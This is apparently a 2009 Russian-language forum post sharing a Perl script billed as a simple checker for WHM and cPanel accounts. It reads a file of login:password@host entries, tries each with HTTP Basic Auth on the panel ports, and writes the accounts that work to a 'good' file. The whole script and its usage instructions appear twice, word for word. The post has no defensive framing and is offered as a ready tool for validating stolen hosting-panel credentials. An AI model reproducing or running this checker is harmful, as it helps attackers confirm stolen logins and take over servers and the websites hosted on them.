Sharky
03.02.2009, 02:49
Простенький чекер WHM и CPANEL акков
Скармливать файл с акками вида:
login:pass@host.com
login1:pass1@host1.com
login2:pass2@host2.com
#!/usr/bin/perl
use IO::Socket;
use MIME::Base64;
my @acc : shared;
my $i : shared;
$accounts = 'accs.txt'; #Файл с акками
$good = 'good.txt'; #Файл с прочеканными гуд акками
$port = '2086'; #WHM - 2086, Cpanel - 2082
$timeout = '5'; #Таймаут
open (ACS, "<$accounts");
@acc = acc();
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my ($logpass, $server) = split(/@/, $acc);
my ($login, $pass) = split(/:/, $logpass);
$lp = $login.":".$pass;
$nn = "\r\n";
$auth = MIME::Base64::encode($lp);
my $sock = new IO::Socket::INET
(
PeerAddr => $server,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if(!$sock){
print "$server - [TIMEOUT]\n"
}else{
my $re = "GET / HTTP/1.1".$nn.
"Host: ".$server.$nn.
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7".$nn.
"Pragma: no-cache".$nn.
"Cache-Control: no-cache".$nn.
"Authorization: Basic ".$auth.$nn.
"Connection: Keep-Alive".$nn.$nn;
print $sock $re;
sysread ($sock, my $answ, 400);
close $sock;
if ($answ =~ /200/){
print "$server - [OK]\n";
open(FILE, ">>$good");
print FILE "$acc\n";
close(FILE);
}else{
print "$server - [BAD]\n";
}
{lock($i);$i++;}
}
}
sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}
Скармливать файл с акками вида:
login:pass@host.com
login1:pass1@host1.com
login2:pass2@host2.com
#!/usr/bin/perl
use IO::Socket;
use MIME::Base64;
my @acc : shared;
my $i : shared;
$accounts = 'accs.txt'; #Файл с акками
$good = 'good.txt'; #Файл с прочеканными гуд акками
$port = '2086'; #WHM - 2086, Cpanel - 2082
$timeout = '5'; #Таймаут
open (ACS, "<$accounts");
@acc = acc();
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my ($logpass, $server) = split(/@/, $acc);
my ($login, $pass) = split(/:/, $logpass);
$lp = $login.":".$pass;
$nn = "\r\n";
$auth = MIME::Base64::encode($lp);
my $sock = new IO::Socket::INET
(
PeerAddr => $server,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if(!$sock){
print "$server - [TIMEOUT]\n"
}else{
my $re = "GET / HTTP/1.1".$nn.
"Host: ".$server.$nn.
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7".$nn.
"Pragma: no-cache".$nn.
"Cache-Control: no-cache".$nn.
"Authorization: Basic ".$auth.$nn.
"Connection: Keep-Alive".$nn.$nn;
print $sock $re;
sysread ($sock, my $answ, 400);
close $sock;
if ($answ =~ /200/){
print "$server - [OK]\n";
open(FILE, ">>$good");
print FILE "$acc\n";
close(FILE);
}else{
print "$server - [BAD]\n";
}
{lock($i);$i++;}
}
}
sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}